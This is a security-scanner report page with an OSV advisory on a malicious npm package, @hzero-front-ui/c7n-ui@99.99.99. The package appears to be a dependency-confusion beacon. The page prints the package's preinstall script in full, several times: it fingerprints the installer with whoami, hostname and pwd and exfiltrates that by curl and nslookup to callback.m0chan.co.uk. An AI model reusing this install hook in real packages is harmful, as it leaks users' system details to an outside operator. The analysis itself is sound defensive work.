Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Leaks installer username, hostname, working directory, and package identifier to an external operator.

View on npm All versions

registry / @hzero-front-ui/c7n-ui / 99.99.99

@hzero-front-ui/c7n-ui

@99.99.99

Internal automation library.

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Automatic npm lifecycle scripts fingerprint the installer environment and transmit it to an external callback domain. Both preinstall and install perform the behavior without user action.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall/install lifecycle execution

Impact

Leaks installer username, hostname, working directory, and package identifier to an external operator.

Mechanism

base64-encoded host fingerprint exfiltration through HTTPS path and DNS query

Attack narrative

On installation, the package builds a base64 value containing `whoami`, hostname, current directory, and its package name. It places that value in an HTTPS request path and sends a second encoded package-derived value through DNS to callback.m0chan.co.uk. The duplicate preinstall and install hooks make this unconsented exfiltration automatic.

Rationale

Direct manifest inspection confirms two install-time scripts that fingerprint and exfiltrate the installer environment to an unrelated external callback domain. The empty runtime entrypoint does not mitigate this concrete lifecycle attack.

Evidence

package.jsonindex.jsREADME.md

Network endpoints2

callback.m0chan.co.uk$pkgsub.callback.m0chan.co.uk/$b64

OSV Corroboration

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

OpenSSF/OSV

Advisory

MAL-2026-13967

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @hzero-front-ui/c7n-ui (npm)

Details

Package @hzero-front-ui/c7n-ui@99.99.99 is an empty library whose only functional code runs in preinstall and install lifecycle hooks in package.json. Those hooks collect the installer's identity — whoami, hostname, current working directory, and the package name — base64-encode the concatenation, and send it to a hardcoded attacker-controlled host via HTTPS GET to https://<b64>.callback.m0chan.co.uk and via DNS lookup on subdomains of the same host. The dual HTTP + DNS channel is designed to bypass egress filtering that only allows one of the two. The scoped name mimics an internal package and the 99.99.99 version is a version-bump chosen to win dependency resolution against a legitimate internal registry — the standard dependency-confusion beacon shape. Installing this package causes host reconnaissance data to leave the machine automatically.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`preinstall` collects username, hostname, working directory, and package name, then exfiltrates encoded data through HTTPS and DNS.
`install` repeats the same automatic host-environment exfiltration.

Evidence against

`index.js` only exports an empty object; no additional runtime payload was found.
README contains only a generic package description.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 21 B of source

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm[redacted]\" | base64 -w0); pkgsub=$(printf '%s' \"$npm[redacted]\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm[redacted]\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk",

High

Ai Review Evidence

`preinstall` collects username, hostname, working directory, and package name, then exfiltrates encoded data through HTTPS and DNS.

package.jsonView on unpkg · L7

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

Findings

2 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

99%Block

Verdict confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version99.99.99

PublishedAug 13, 2026

LicenseISC

Dependencies0

Integrityverified

Package size518 B

Files3

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact1001 B · 3 files1 signature(s)

Install lifecycleinstallpreinstall

Behavioral surface

Source: cleanTrivialManifest: clean

LPM CLI

package.json

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

@hzero-front-ui/c7n-ui@99.99.99: Malicious npm security report | LPM Firewall

Source & flagged code

4 flagged

package.jsonView file

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm[redacted]\" | base64 -w0); pkgsub=$(printf '%s' \"$npm[redacted]\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm[redacted]\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk",

High

Ai Review Evidence

`preinstall` collects username, hostname, working directory, and package name, then exfiltrates encoded data through HTTPS and DNS.

package.jsonView on unpkg · L7

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg